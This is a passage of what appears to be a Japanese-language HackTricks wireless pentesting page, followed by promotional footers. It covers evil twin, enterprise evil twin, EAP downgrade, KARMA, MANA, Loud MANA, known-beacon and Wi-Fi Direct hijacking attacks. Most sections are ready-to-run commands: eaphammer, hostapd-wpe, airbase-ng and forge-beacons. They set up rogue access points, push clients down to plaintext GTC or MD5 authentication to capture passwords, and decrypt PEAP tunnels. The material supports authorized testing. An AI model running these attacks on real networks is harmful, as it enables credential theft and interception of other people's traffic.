ホストapd.conf_ の設定ファイルを作成します:
```
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**煩わしいプロセスを停止**し、**モニターモード**を設定し、**hostapdを起動**します:
```
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```
### 転送とリダイレクション
```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```
## イービルツイン
イービルツイン攻撃は、ほとんどのコンピューターや携帯電話がワイヤレスネットワークの「名前」またはESSIDのみを認識するという事実を利用したWi-Fi攻撃の一種です(基地局はクライアントに対して認証する必要がありません)。実際には、同じ名前と同じ種類の暗号化を使用するネットワーク間の区別は非常に困難です。実際、多くのネットワークには、ユーザーを混乱させることなくアクセスを拡張するために、同じ名前を使用する複数のネットワーク拡張アクセスポイントがあります。
クライアントの実装方法により(802.11プロトコルが同じESS内のアクセスポイント間で自由にローミングすることを許可していることを覚えておいてください)、デバイスが接続している基地局を変更することが可能です。これは、より良い信号を提供すること(常に可能ではありません)または元の基地局へのアクセスをブロックすること(認証解除パケット、ジャミング、またはその他の形態のDoS攻撃)によって行うことができます。
また、実際のワイヤレス展開では通常、単一のアクセスポイントよりも多くのアクセスポイントがあり、これらのアクセスポイントは通常、天井に向けて配置されるため、より強力でより良い直線範囲を持っています。単一のアクセスポイントの認証を解除しても、ターゲットがあなたの悪質なAPにローミングするのではなく、他の有効なアクセスポイントにローミングすることが通常です。ただし、近くのすべてのアクセスポイントが認証解除されている(大きな音)場合や、悪質なAPの配置に非常に注意している(難しい)場合を除きます。
インターネットへのトラフィックをルーティングする機能がない非常に基本的なオープンイービルツインを作成することができます。
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
以下は、eaphammerを使用してEvil Twinを作成する方法についての説明です(eaphammerでevil twinsを作成する場合、インターフェースは**monitor**モードに**してはいけません**):
```
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
またはAirgeddonを使用してください:`オプション:5,6,7,8,9(Evil Twin攻撃メニュー内)。`
![](<../../.gitbook/assets/image (148).png>)
デフォルトでは、PNLに保存されたESSIDがWPAで保護されている場合、デバイスは自動的にOpenなEvil Twinには接続しません。実際のAPをDoS攻撃して、ユーザーが手動でOpenなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法を使用すると、PSKを知らないため被害者を接続させることはできませんが、ハンドシェイクをキャプチャしてクラックを試みることができます)。
_一部のOSとAVは、ユーザーにOpenネットワークへの接続が危険であることを警告します..._
### WPA/WPA2 Evil Twin
**WPA/2を使用したEvil Twin**を作成でき、デバイスがそのSSIDにWPA/2で接続するように設定されている場合、接続を試みます。とはいえ、**4-way-handshakeを完了する**ためには、クライアントが使用する**パスワードを知る**必要があります。それを**知らない**場合、**接続は完了しません**。
```
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### エンタープライズイービルツイン
この攻撃を理解するためには、まず[WPAエンタープライズの説明](./#wpa-enterprise-mgt)を読むことをお勧めします。
**hostapd-wpeの使用**
`hostapd-wpe`は動作するために**設定**ファイルが必要です。これらの設定を**自動化**するためには、[https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad)を使用してください(Pythonファイルを _/etc/hostapd-wpe/_ にダウンロードしてください)。
```
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
```markdown
設定ファイルでは、ssid、チャンネル、ユーザーファイル、cret/key、dhパラメータ、wpaバージョン、認証など、多くの異なる項目を選択できます...
[**hostapd-wpeを使用してEAP-TLSで任意の証明書でログインを許可する。**](evil-twin-eap-tls.md)
**EAPHammerの使用**
```
```bash
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
デフォルトでは、EAPHammerは以下の認証方法を目的としています(まずGTCを使用してプレーンテキストパスワードを取得しようとし、その後より堅牢な認証方法を使用することに注意してください):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
これは、長い接続時間を避けるためのデフォルトの方法論です。しかし、認証方法を最も弱いものから最も強いものへと指定することもできます:
```
--negotiate weakest
```
以下のように使用することもできます:
* `--negotiate gtc-downgrade` を使用して、高効率なGTCダウングレード実装を使用します(プレーンテキストパスワード)。
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` で手動で提供する方法を指定します(攻撃対象の組織と同じ認証方法を同じ順序で提供することで、攻撃の検出が非常に困難になります)。
* [wikiでさらに情報を見る](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Airgeddonの使用**
`Airgeddon` は、以前に生成された証明書を使用して、WPA/WPA2-EnterpriseネットワークにEAP認証を提供することができます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードし、**ユーザーとパスワードのMD5をキャプチャ**することができます。その後、攻撃者はパスワードをクラックしようと試みることができます。
`Airggedon` は、**連続的なEvil Twin攻撃(騒々しい)**または**誰かが接続するまでEvil Attackを作成するだけ(スムーズ)**の可能性を提供します。
![](<../../.gitbook/assets/image (129).png>)
### Evil Twins攻撃におけるPEAPとEAP-TTLS TLSトンネルのデバッグ
_この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号しているので、EAP-TTLSでも機能するはずです_
_hostapd-wpe_ の**設定**内で、_**dh\_file**_ を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` へ)。
これにより、`hostapd-wpe` はDHではなくRSAを使用してキーを交換するため、後でサーバーのプライベートキーを知っていることでトラフィックを**復号**することができます。
今、通常どおりその変更された設定で**`hostapd-wpe`** を使用して**Evil Twin**を開始します。また、Evil Twin攻撃を実行している**インターフェース**で**`wireshark`** も開始します。
今、または後で(すでにいくつかの認証試行をキャプチャした後)、wiresharkにプライベートRSAキーを追加できます: `編集 --> 環境設定 --> プロトコル --> TLS --> (RSAキーリスト) 編集...`
新しいエントリを追加し、次の値でフォームに記入します: **IPアドレス = 任意** -- **ポート = 0** -- **プロトコル = データ** -- **キーファイル**(問題を避けるため、パスワード保護されていないキーファイルを**選択してください**)。
![](<../../.gitbook/assets/image (151).png>)
そして、新しい**"復号化されたTLS"タブ**を見てください:
![](<../../.gitbook/assets/image (152).png>)
## KARMA, MANA, Loud MANAおよび既知のビーコン攻撃
### ESSIDとMACのブラック/ホワイトリスト
以下の表は、利用可能なMFACL(Management Frame Access Control Lists)の異なるタイプと、使用時の効果をリストしています:
![](<../../.gitbook/assets/image (149).png>)
```
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
```
```
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
```
### KARMA
KARMA攻撃は、ステーションが使用するネットワーク選択プロセスを悪用するローグアクセスポイント攻撃の第二の形態です。2005年のホワイトペーパーで、Dino Dai ZoviとShane Macaulayは、攻撃者がアクセスポイントを設定して指向性プローブリクエストをリッスンし、それらに一致する指向性プローブレスポンスで応答する方法を説明しています。これにより、影響を受けるステーションは自動的に攻撃者のアクセスポイントに関連付けリクエストを送信します。アクセスポイントは関連付けレスポンスで応答し、影響を受けるステーションが攻撃者に接続する原因となります。
### MANA
Ian de VilliersとDominic Whiteによると、現代のステーションは、少なくとも1つのブロードキャストプローブリクエストにすでに応答しているアクセスポイントからの指向性プローブレスポンスを無視することで自身をKARMA攻撃から守るように設計されています。これにより、KARMA攻撃に対して脆弱なステーションの数が大幅に減少しましたが、2015年にWhiteとde Villiersはそのような保護を回避する手段を開発しました。Whiteとde Villiersの改良されたKARMA攻撃(MANA攻撃)では、指向性プローブレスポンスが使用されて近くのステーションのPNLを再構築します。ステーションからブロードキャストプローブリクエストが受信されると、攻撃者のアクセスポイントは、そのデバイスからの直接プローブで既に見られたステーションのPNLの任意のSSIDで応答します。
要約すると、MANAアルゴリズムは次のように機能します:アクセスポイントがプローブリクエストを受信するたびに、それがブロードキャストプローブか指向性プローブかをまず判断します。指向性プローブの場合、送信者のMACアドレスはハッシュテーブルに追加されます(まだそこにない場合)そして、ESSIDはそのデバイスのPNLに追加されます。APはその後、指向性プローブレスポンスで応答します。ブロードキャストプローブの場合、アクセスポイントはそのデバイスのPNLにある各ネットワークに対してプローブレスポンスで応答します。
eaphammerを使用したMANA攻撃:
```
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### ラウドMANA
標準のMANA攻撃では、指向性プロービングを一切使用しないデバイスに対して攻撃することはできません。したがって、デバイスのPNL内に以前から知っているエントリが一つもない場合、別の攻撃方法を考える必要があります。
一つの可能性として、ラウドMANA攻撃があります。この攻撃は、物理的に近い位置にあるクライアントデバイスは、PNL内に少なくともいくつかの共通のエントリを持っている可能性が高いという考えに基づいています。
要約すると、ラウドMANA攻撃は、特定のデバイスのPNL内の各ESSIDに対してプローブリクエストに応答するのではなく、以前に見たすべてのデバイスのPNL内のすべてのESSIDに対してプローブ応答を送信するものです。集合論に関連付けると、APは近くのデバイスのすべてのPNLの結合にある各ESSIDに対してプローブ応答を送信すると言えます。
```
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### 既知のビーコン攻撃
Loud MANA攻撃が成功しないケースもまだ存在します。\
既知のビーコン攻撃は、攻撃者が被害者を攻撃者のAPに接続させようとする「ブルートフォース」ESSIDの方法です。攻撃者は任意のESSIDに応答するAPを作成し、ワードリスト内の各名前のESSIDを偽装するビーコンを送信するコードを実行します。願わくば、被害者はそのPNL内にこれらのESSID名のいくつかを含んでおり、偽のAPに接続しようとします。\
Eaphammerは、リスト内のすべてのESSIDが充電されるMANA攻撃としてこの攻撃を実装しました(これを`--loud`と組み合わせて、Loud MANA + Known beacons攻撃を作成することもできます):
```
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**既知のビーコンバースト攻撃**
既知のビーコンは騒がしいです。Eaphammerプロジェクト内のスクリプトを使用して、ファイル内のすべてのESSID名のビーコンを非常に迅速に発信することができます。このスクリプトをEaphammer MANA攻撃と組み合わせると、クライアントはあなたのAPに接続できるようになります。
```
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
```
## Wi-Fi Direct
Wi-Fi Directは、デバイスが無線APなしで互いに接続できるWi-Fi標準です。2台のデバイスのうち1台がAPとして機能します(グループオーナーと呼ばれます)。プリンターやテレビなど、多くのIoTデバイスでWi-Fi Directを見つけることができます。
Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected Setup(**WPS**)に依存しています。WPSには、**Push-Button** Configuration(PBC)、**PIN entry**、**Near-Field** Communication(NFC)などの複数の設定方法があります。
したがって、PINが使用されている場合、以前に見たWPS PINへの攻撃もここで有効です。
### EvilDirect Hijacking
これはEvil-Twinと同様に機能しますが、Wi-Fi Direct用です。グループオーナーになりすまして、他のデバイス(例えば電話)があなたに接続するように試みることができます:`airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
## 参考文献
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) をチェックしてください(FacebookでのログインやキャプティブポータルでのWPAの模倣について)。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう!
**Hacking Insights**\
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加しましょう。
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、速いペースで変化するハッキングの世界を最新の状態に保ちましょう。
**Latest Announcements**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を入手しましょう。
**今すぐ** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、トップハッカーとのコラボレーションを始めましょう!
htARTE (HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学びましょう!
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしましょう。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有しましょう。